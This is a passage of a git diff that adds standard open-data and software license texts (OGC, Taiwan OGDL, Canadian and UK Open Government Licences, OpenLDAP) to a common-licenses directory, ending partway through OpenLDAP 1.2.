+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OGC-1.0 b/meta/files/common-licenses/OGC-1.0
new file mode 100644
index 0000000000..1b60c1fc7a
--- /dev/null
+++ b/meta/files/common-licenses/OGC-1.0
@@ -0,0 +1,17 @@
+OGC Software License, Version 1.0
+
+This OGC work (including software, documents, or other related items) is being provided by the copyright holders under the following license. By obtaining, using and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions:
+
+Permission to use, copy, and modify this software and its documentation, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the software and documentation or portions thereof, including modifications, that you make:
+
+1. The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
+
+2. Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, a short notice of the following form (hypertext is preferred, text is permitted) should be used within the body of any redistributed or derivative code: "Copyright © [$date-of-document] Open Geospatial Consortium, Inc. All Rights Reserved. http://www.ogc.org/ogc/legal (Hypertext is preferred, but a textual representation is permitted.)
+
+3. Notice of any changes or modifications to the OGC files, including the date changes were made. (We recommend you provide URIs to the location from which the code is derived.)
+
+THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
+
+COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION.
+
+The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the software without specific, written prior permission. Title to copyright in this software and any associated documentation will at all times remain with copyright holders.
diff --git a/meta/files/common-licenses/OGDL-Taiwan-1.0 b/meta/files/common-licenses/OGDL-Taiwan-1.0
new file mode 100644
index 0000000000..7f9e64b5c0
--- /dev/null
+++ b/meta/files/common-licenses/OGDL-Taiwan-1.0
@@ -0,0 +1,141 @@
+政府資料開放授權條款-第1版
+
+中華民國104年7月27日訂定
+
+為便利民眾共享及應用政府資料、促進及活化政府資料應用、結合民間創意提升政府資料品質及價值、優化政府服務品質,訂定本條款。
+
+一、定義
+
+(一)資料提供機關:指將職權範圍內取得或作成之各類電子資料,透過本條款釋出予公眾之政府機關(構)、公營事業機構、公立學校及行政法人。
+
+(二)使用者:指依本條款規定取得開放資料,並對其利用之自然人、法人或團體,包括依本條款授權使用者再轉授權利用之人或團體。
+
+(三)開放資料:指資料提供機關擁有完整著作財產權,或經授權得再轉授權第三人利用之資料,並以公開、可修改,且無不必要技術限制之格式提供者,包括但不限於下列著作:
+
+ 1. 編輯著作:選擇、編排具有創作性,而可受著作權法保護之資料庫或其他結構化資料組合。
+
+ 2. 素材:指開放資料集合物中,其他可受著作權法保護之獨立著作。
+
+(四)衍生物:指依本條款所提供之開放資料,進行後續重製、改作、編輯或為其他方式利用之修改物。
+
+(五)資訊:指不受著作權法保護之純粹紀錄,並隨同開放資料一併提供者。前揭資訊除本條款授與權利之規定外,比照有關開放資料之規定辦理。
+
+二、授與權利
+
+(一)各機關所提供之開放資料,授權使用者不限目的、時間及地域、非專屬、不可撤回、免授權金進行利用,利用之方式包括重製、散布、公開傳輸、公開播送、公開口述、公開上映、公開演出、編輯、改作,包括但不限於開發各種產品或服務型態之衍生物。
+
+(二)使用者得再轉授權他人為前項之利用。
+
+(三)使用者依本條款規定利用開放資料,無須另行取得各資料提供機關之書面或其他方式授權。
+
+(四)本條款之授權範圍不包括專利權及商標權。
+
+三、課予義務
+
+(一)使用者利用依本條款提供之開放資料,視為同意遵守本條款之各項規定,並應以尊重第三人著作人格權之方式利用之。
+
+(二)使用者利用依本條款提供之開放資料,及後續之衍生物,應以符合附件所示「顯名聲明」要求之方式,明確標示原資料提供機關之相關聲明;未盡顯名標示義務者,視為自始未取得開放資料之授權。
+
+四、版本更新及授權轉換
+
+(一)本條款如有修正,依舊條款提供之開放資料,於新條款公告時,使用者得選擇採用新條款利用。但原資料提供機關,於提供開放資料時,已訂明其使用之特定版本條款者,不在此限。
+
+(二)本條款與「創用CC授權 姓名標示 4.0 國際版本」相容,使用者依本條款利用開放資料,如後續以「創用CC授權 姓名標示 4.0 國際版本」規定之方式利用,視為符合本條款之規定。
+
+五、停止提供
+
+有下列情形之一者,各資料提供機關得停止全部或一部開放資料之提供,使用者不得向資料提供機關請求任何賠償或補償:
+
+ 1. 因情事變更或其他正當事由,致各資料提供機關評估繼續提供該開放資料供公眾使用,已不符合公共利益之要求。
+
+ 2. 所提供之開放資料,有侵害第三人智慧財產權、隱私權或其他法律上利益之虞。
+
+六、免責聲明
+
+(一)依本條款提供之開放資料,不構成任何資料提供機關申述、保證或暗示其推薦、同意、許可或核准之意思表示;各資料提供機關僅於知悉其所提供之開放資料有錯誤或遺漏時,負修正及補充之責。
+
+(二)使用者利用依本條款提供之開放資料,受有損害或損失,或致第三人受有損害或損失,而遭求償者,除法令另有規定外,各資料提供機關不負任何賠償或補償之責。
+
+(三)使用者利用依本條款提供之開放資料,因故意或過失,致資料提供機關遭受損害,或第三人因此向資料提供機關請求賠償損害,使用者應對各機關負賠償責任。
+
+七、準據法
+
+本條款之解釋、效力、履行及其他未盡事宜,以中華民國法律為準據法。
+
+附件:顯名聲明
+
+ 1. 提供機關/單位 [年份] [開放資料釋出名稱與版本號]
+
+ 2. 此開放資料依政府資料開放授權條款 (Open Government Data License) 進行公眾釋出,使用者於遵守本條款各項規定之前提下,得利用之。
+
+ 3. 政府資料開放授權條款:https://data.gov.tw/license
+
+Open Government Data License, version 1.0
+
+The Open Government Data License (the License) is intended to facilitate government data sharing and application among the public in outreaching and promotion method, and to advance government service efficacy and government data value and quality in collaboration with the creative private sector.
+
+1. Definition
+
+1.1. "Data Providing Organization" refers to government agency, government-owned business, public school and administrative legal entity that has various types of electronic data released to the public under the License when it is obtained or made in the scope of performance for public duties.
+
+1.2. "User" refers to individual, legal entity or group that receives and uses Open Data under the License, including individual, legal entity or group who is receiving and using Open Data as the recipient of the former Users under the sublicensing scenario.
+
+1.3. "Open Data" means data that the Data Providing Organization owns its copyright in whole or has full authority to provide it to third parties in sublicensing way, and provides it in an open and modifiable form such that there are no unnecessary technological obstacles to the performance of the licensed rights, including but not limited to the following creation protected by copyright:
+
+ a. "Compilation Work" means a work formed by the creative selection and arrangement of data, and can be protected by copyright law, such as database or other qualified structured data combination.
+
+ b. "Material" means a separate work, that is collected into the Open Data aggregation and can be protected by copyright law independently.
+
+1.4. "Derivative Work" means any adaptation based upon the Open Data provided under the License and in which the original data is reproduced, adapted, compiled, or otherwise modified.
+
+1.5. "Information" means the pure record that is not subject to copyright law and providing along with the Open Data. Accordingly, the granting of copyright license hereunder does not apply to such Information, however, other provisions of the License shall be applied to it as well as to the Open Data.
+
+2. Grant of Copyright License
+
+2.1. The Data Providing Organization grants User a perpetual, worldwide, non-exclusive, irrevocable, royalty-free copyright license to reproduce, distribute, publicly transmit, publicly broadcast, publicly recite, publicly present, publicly perform, compile, adapt to the Open Data provided for any purpose, including but not limited to making all kinds of Derivative Works either as products or services.
+
+2.2. User can sublicense the copyrights which he/she is granted through 2.1. to others.
+
+2.3. Any additional written offer or other formality for copyright license from the Data Providing Organization is not required, if User makes use of Open Data in compliance with the License.
+
+2.4. The License does not grant any rights in the patents and trademarks.
+
+3. Condition and Obligation
+
+3.1. By utilizing the Open Data provided under the License, User indicates his/her acceptance of this License and all its terms and conditions overall to do so, and shall make the reasonable efforts with respect to moral right protection of the third parties involved.
+
+3.2. When User makes use of the Open Data and its Derivative Work, he/she must make an explicit notice of statement as attribution requested in the Exhibit below by the Data Providing Organization. If User fails to comply with the attribution requirement, the rights granted under this License shall be deemed to have been void ab initio.
+
+4. License Version and Compatibility
+
+4.1. When a new version of the License has been updated and declared, if not the Data Providing Organization has already appointed a specific version of the License for the Open Data it provided, User may make use of the Open Data under the terms of the version of the License under which he/she originally received, or under the terms of any subsequent version published thereafter.
+
+4.2. The License is compatible with the Creative Commons Attribution License 4.0 International. This means that when the Open Data is provided under the License, User automatically satisfies the conditions of this License when he/she makes use of the Open Data in compliance with the Creative Commons Attribution License 4.0 International thereafter.
+
+5. Cessation of Data Providing
+
+5.1. Under the circumstances described hereunder, the Data Providing Organization may cease to provide all or part of a specific Open Data, and User shall not claim any damages or compensations on account of that to the provider:
+
+ a. It has been evaluated by the Data Providing Organization that continuously providing of a specific Open Data as not being met the requirement of public interest due to the change of circumstances unpredictable or for a legitimate cause.
+
+ b. A provided Open Data might jeopardize third parties' intellectual property rights, privacy rights, or other interests protected at law.
+
+6. Disclaimer
+
+6.1. The providing of Open Data under the License shall not be construed as any statement, warranty, or implication to the recommendation, permission, approval, or sanction of all kinds of authoritative declaration of intention made by the Data Providing Organization. And the Data Providing Organization shall only be liable to make the correcting and updating when the errors or omissions of Open Data provided by it has been acknowledged.
+
+6.2. The Data Providing Organization shall not be liable for damage or loss User encounters when he/she makes use of the Open Data provided under the License. This disclaimer applies as well when User has third parties encountered damage or loss and thus has been claimed for remedies. Unless otherwise specified according to law, the Data Providing Organization shall not be held responsible for any damages or compensations herein.
+
+6.3. User shall be liable for the damages to the Data Providing Organization, if he/she has used the Open Data provided wrongfully due to an intentional or negligent misconduct and caused damages to the Data Providing Organization. The same reimbursement rule for wrongful misconducting shall be applied to the User when the damaged one is a third party and the compensations have already been disbursed by the Data Providing Organization to the third party due to a legal claim.
+
+7. Governing Law
+
+7.1. The interpretation, validity, enforcement and matters not mentioned herein for the License is governed by the Laws of Republic of China (Taiwan).
+
+Exhibit - Attribution
+
+ a. Data Providing Organization/Agency [year] [distinguishing full name of the released Open Data and its version number]
+
+ b. The Open Data is made available to the public under the Open Government Data License, User can make use of it when complying to the condition and obligation of its terms.
+
+ c. Open Government Data License:https://data.gov.tw/license
diff --git a/meta/files/common-licenses/OGL-Canada-2.0 b/meta/files/common-licenses/OGL-Canada-2.0
new file mode 100644
index 0000000000..d638334a11
--- /dev/null
+++ b/meta/files/common-licenses/OGL-Canada-2.0
@@ -0,0 +1,51 @@
+Open Government Licence - Canada
+
+You are encouraged to use the Information that is available under this licence with only a few conditions.
+
+Using Information under this licence
+* Use of any Information indicates your acceptance of the terms below.
+* The Information Provider grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information, including for commercial purposes, subject to the terms below.
+
+You are free to:
+* Copy, modify, publish, translate, adapt, distribute or otherwise use the Information in any medium, mode or format for any lawful purpose.
+
+You must, where you do any of the above:
+* Acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence.
+* If the Information Provider does not provide a specific attribution statement, or if you are using Information from several information providers and multiple attributions are not practical for your product or application, you must use the following attribution statement:
+ Contains information licensed under the Open Government Licence – Canada.
+
+The terms of this licence are important, and if you fail to comply with any of them, the rights granted to you under this licence, or any similar licence granted by the Information Provider, will end automatically.
+
+Exemptions
+This licence does not grant you any right to use:
+* Personal Information;
+* third party rights the Information Provider is not authorized to license;
+* the names, crests, logos, or other official symbols of the Information Provider; and
+* Information subject to other intellectual property rights, including patents, trade-marks and official marks.
+
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider endorses you or your use of the Information.
+
+No Warranty
+The Information is licensed “as is”, and the Information Provider excludes all representations, warranties, obligations, and liabilities, whether express or implied, to the maximum extent permitted by law.
+
+The Information Provider is not liable for any errors or omissions in the Information, and will not under any circumstances be liable for any direct, indirect, special, incidental, consequential, or other loss, injury or damage caused by its use or otherwise arising in connection with this licence or the Information, even if specifically advised of the possibility of such loss, injury or damage.
+
+Governing Law
+This licence is governed by the laws of the province of Ontario and the applicable laws of Canada.
+
+Legal proceedings related to this licence may only be brought in the courts of Ontario or the Federal Court of Canada.
+
+Definitions
+In this licence, the terms below have the following meanings:
+
+"Information" means information resources protected by copyright or other information that is offered for use under the terms of this licence.
+
+"Information Provider" means Her Majesty the Queen in right of Canada.
+
+“Personal Information” means “personal information” as defined in section 3 of the Privacy Act, R.S.C. 1985, c. P-21.
+
+"You" means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
+
+Versioning
+This is version 2.0 of the Open Government Licence – Canada. The Information Provider may make changes to the terms of this licence from time to time and issue a new version of the licence. Your use of the Information will be governed by the terms of the licence in force as of the date you accessed the information.
diff --git a/meta/files/common-licenses/OGL-UK-1.0 b/meta/files/common-licenses/OGL-UK-1.0
new file mode 100644
index 0000000000..a761c9916f
--- /dev/null
+++ b/meta/files/common-licenses/OGL-UK-1.0
@@ -0,0 +1,69 @@
+Open Government Licence v1.0
+
+You are encouraged to use and re-use the Information that is available under this licence, the Open Government Licence, freely and flexibly, with only a few conditions.
+Using information under this licence
+
+Use of copyright and database right material expressly made available under this licence (the ‘Information’) indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+ copy, publish, distribute and transmit the Information;
+ adapt the Information;
+ exploit the Information commercially for example, by combining it with other Information, or by including it in your own product or application.
+
+You must, where you do any of the above:
+ acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+  If the Information Provider does not provide a specific attribution statement, or if you are using Information from several Information Providers and multiple attributions are not practical in your product or application, you may consider using the following:
 Contains public sector information licensed under the Open Government Licence v1.0.
+ ensure that you do not use the Information in a way that suggests any official status or that the Information Provider endorses you or your use of the Information;
+ ensure that you do not mislead others or misrepresent the Information or its source;
+ ensure that your use of the Information does not breach the Data Protection Act 1998 or the Privacy and Electronic Communications (EC Directive) Regulations 2003.
+
+These are important conditions of this licence and if you fail to comply with them the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+ Exemptions
+
+This licence does not cover the use of:
+ - personal data in the Information;
+ - Information that has neither been published nor disclosed under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+ - departmental or public sector organisation logos, crests and the Royal Arms except where they form an integral part of a document or dataset;
+ - military insignia;
+ - third party rights the Information Provider is not authorised to license;
+ - Information subject to other intellectual property rights, including patents, trademarks, and design rights; and
+ - identity documents such as the British Passport.
+
+No warranty
+
+The Information is licensed ‘as is’ and the Information Provider excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+
+The Information Provider is not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+
+In this licence, the terms below have the following meanings:
+
+‘Information’
means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+‘Information Provider’
means the person or organisation providing the Information under this licence.
+
+‘Licensor’
means any Information Provider which has the authority to offer Information under the terms of this licence or the Controller of Her Majesty’s Stationery Office, who has the authority to offer Information subject to Crown copyright and Crown database rights and Information subject to copyright and database right that has been assigned to or acquired by the Crown, under the terms of this licence.
+
+‘Use’
as a verb, means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+‘You’
means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
+
+About the Open Government Licence
+The Controller of Her Majesty’s Stationery Office (HMSO) has developed this licence as a tool to enable Information Providers in the public sector to license the use and re-use of their Information under a common open licence. The Controller invites public sector bodies owning their own copyright and database rights to permit the use of their Information under this licence.
+
+The Controller of HMSO has authority to license Information subject to copyright and database right owned by the Crown. The extent of the Controller’s offer to license this Information under the terms of this licence is set out in the UK Government Licensing Framework.
+
+This is version 1.0 of the Open Government Licence. The Controller of HMSO may, from time to time, issue new versions of the Open Government Licence. However, you may continue to use Information licensed under this version should you wish to do so.
+These terms have been aligned to be interoperable with any Creative Commons Attribution Licence, which covers copyright, and Open Data Commons Attribution License, which covers database rights and applicable copyrights.
+
+Further context, best practice and guidance can be found in the UK Government Licensing Framework section on The National Archives website.
diff --git a/meta/files/common-licenses/OGL-UK-2.0 b/meta/files/common-licenses/OGL-UK-2.0
new file mode 100644
index 0000000000..319c1b53a8
--- /dev/null
+++ b/meta/files/common-licenses/OGL-UK-2.0
@@ -0,0 +1,72 @@
+Open Government Licence v2.0
+
+You are encouraged to use and re-use the Information that is available under this licence freely and flexibly, with only a few conditions.
+
+Using Information under this licence
+Use of copyright and database right material expressly made available under this licence (the ‘Information’) indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+copy, publish, distribute and transmit the Information;
+adapt the Information;
+exploit the Information commercially and non-commercially for example, by combining it with other Information, or by including it in your own product or application.
+You must, where you do any of the above:
+acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+ If the Information Provider does not provide a specific attribution statement, or if you are using Information from several Information Providers and multiple attributions are not practical in your product or application, you may use the following:
+
+ Contains public sector information licensed under the Open Government Licence v2.0.
+
+These are important conditions of this licence and if you fail to comply with them the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+ Exemptions
+This licence does not cover:
+
+personal data in the Information;
+information that has neither been published nor disclosed under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+departmental or public sector organisation logos, crests and the Royal Arms except where they form an integral part of a document or dataset;
+military insignia;
+third party rights the Information Provider is not authorised to license;
+other intellectual property rights, including patents, trade marks, and design rights; and
+identity documents such as the British Passport
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider endorses you or your use of the Information.
+
+Non warranty
+The Information is licensed ‘as is’ and the Information Provider excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+
+The Information Provider is not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+In this licence, the terms below have the following meanings:
+
+‘Information’
+means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+‘Information Provider’
+means the person or organisation providing the Information under this licence.
+
+‘Licensor’
+means any Information Provider who has the authority to offer Information under the terms of this licence. It includes the Controller of Her Majesty’s Stationery Office, who has the authority to offer Information subject to Crown copyright and Crown database rights, and Information subject to copyright and database rights which have been assigned to or acquired by the Crown, under the terms of this licence.
+
+‘Use’
+means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+‘You’
+means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
+
+About the Open Government Licence
+The Controller of Her Majesty’s Stationery Office (HMSO) has developed this licence as a tool to enable Information Providers in the public sector to license the use and re-use of their Information under a common open licence. The Controller invites public sector bodies owning their own copyright and database rights to permit the use of their Information under this licence.
+
+The Controller of HMSO has authority to license Information subject to copyright and database right owned by the Crown. The extent of the Controller’s offer to license this Information under the terms of this licence is set out on The National Archives website.
+
+This is version 2.0 of the Open Government Licence. The Controller of HMSO may, from time to time, issue new versions of the Open Government Licence. If you are already using Information under a previous version of the Open Government Licence, the terms of that licence will continue to apply.
+
+These terms are compatible with the Creative Commons Attribution License 4.0 and the Open Data Commons Attribution License, both of which license copyright and database rights. This means that when the Information is adapted and licensed under either of those licences, you automatically satisfy the conditions of the OGL when you comply with the other licence. The OGLv2.0 is Open Definition compliant.
+
+Further context, best practice and guidance can be found in the UK Government Licensing Framework section on The National Archives website.
diff --git a/meta/files/common-licenses/OGL-UK-3.0 b/meta/files/common-licenses/OGL-UK-3.0
new file mode 100644
index 0000000000..febac4164b
--- /dev/null
+++ b/meta/files/common-licenses/OGL-UK-3.0
@@ -0,0 +1,69 @@
+Open Government Licence v3.0
+
+You are encouraged to use and re-use the Information that is available under this licence freely and flexibly, with only a few conditions.
+
+Using Information under this licence
+Use of copyright and database right material expressly made available under this licence (the 'Information') indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+copy, publish, distribute and transmit the Information;
+adapt the Information;
+exploit the Information commercially and non-commercially for example, by combining it with other Information, or by including it in your own product or application.
+You must (where you do any of the above):
+acknowledge the source of the Information in your product or application by including or linking to any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+ If the Information Provider does not provide a specific attribution statement, you must use the following:
+
+ Contains public sector information licensed under the Open Government Licence v3.0.
+
+If you are using Information from several Information Providers and listing multiple attributions is not practical in your product or application, you may include a URI or hyperlink to a resource that contains the required attribution statements.
+
+These are important conditions of this licence and if you fail to comply with them the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+ Exemptions
+This licence does not cover:
+
+personal data in the Information;
+Information that has not been accessed by way of publication or disclosure under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+departmental or public sector organisation logos, crests and the Royal Arms except where they form an integral part of a document or dataset;
+military insignia;
+third party rights the Information Provider is not authorised to license;
+other intellectual property rights, including patents, trade marks, and design rights; and
+identity documents such as the British Passport
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider and/or Licensor endorse you or your use of the Information.
+
+No warranty
+The Information is licensed 'as is' and the Information Provider and/or Licensor excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+
+The Information Provider and/or Licensor are not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+In this licence, the terms below have the following meanings:
+
+'Information' means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+'Information Provider' means the person or organisation providing the Information under this licence.
+
+'Licensor' means any Information Provider which has the authority to offer Information under the terms of this licence or the Keeper of Public Records, who has the authority to offer Information subject to Crown copyright and Crown database rights and Information subject to copyright and database right that has been assigned to or acquired by the Crown, under the terms of this licence.
+
+'Use' means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+'You', 'you' and 'your' means the natural or legal person, or body of persons corporate or incorporate, acquiring rights in the Information (whether the Information is obtained directly from the Licensor or otherwise) under this licence.
+
+About the Open Government Licence
+The National Archives has developed this licence as a tool to enable Information Providers in the public sector to license the use and re-use of their Information under a common open licence. The National Archives invites public sector bodies owning their own copyright and database rights to permit the use of their Information under this licence.
+
+The Keeper of the Public Records has authority to license Information subject to copyright and database right owned by the Crown. The extent of the offer to license this Information under the terms of this licence is set out in the UK Government Licensing Framework.
+
+This is version 3.0 of the Open Government Licence. The National Archives may, from time to time, issue new versions of the Open Government Licence. If you are already using Information under a previous version of the Open Government Licence, the terms of that licence will continue to apply.
+
+These terms are compatible with the Creative Commons Attribution License 4.0 and the Open Data Commons Attribution License, both of which license copyright and database rights. This means that when the Information is adapted and licensed under either of those licences, you automatically satisfy the conditions of the OGL when you comply with the other licence. The OGLv3.0 is Open Definition compliant.
+
+Further context, best practice and guidance can be found in the UK Government Licensing Framework section on The National Archives website.
diff --git a/meta/files/common-licenses/OLDAP-1.1 b/meta/files/common-licenses/OLDAP-1.1
new file mode 100644
index 0000000000..f78dd0462d
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-1.1
@@ -0,0 +1,60 @@
+The OpenLDAP Public License
+Version 1.1, 25 August 1998
+
+Copyright 1998, The OpenLDAP Foundation. All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. Its terms are different from those of the "Artistic License."
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+
+ b) use the modified Package only within your corporation or organization.
+
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C subroutines supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/OLDAP-1.2 b/meta/files/common-licenses/OLDAP-1.2
new file mode 100644
index 0000000000..c61d6026e3
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-1.2
@@ -0,0 +1,60 @@
+The OpenLDAP Public License
+Version 1.2, 1 September 1998
+
+Copyright 1998, The OpenLDAP Foundation. All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. As differences may exist, the complete license should be read.
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
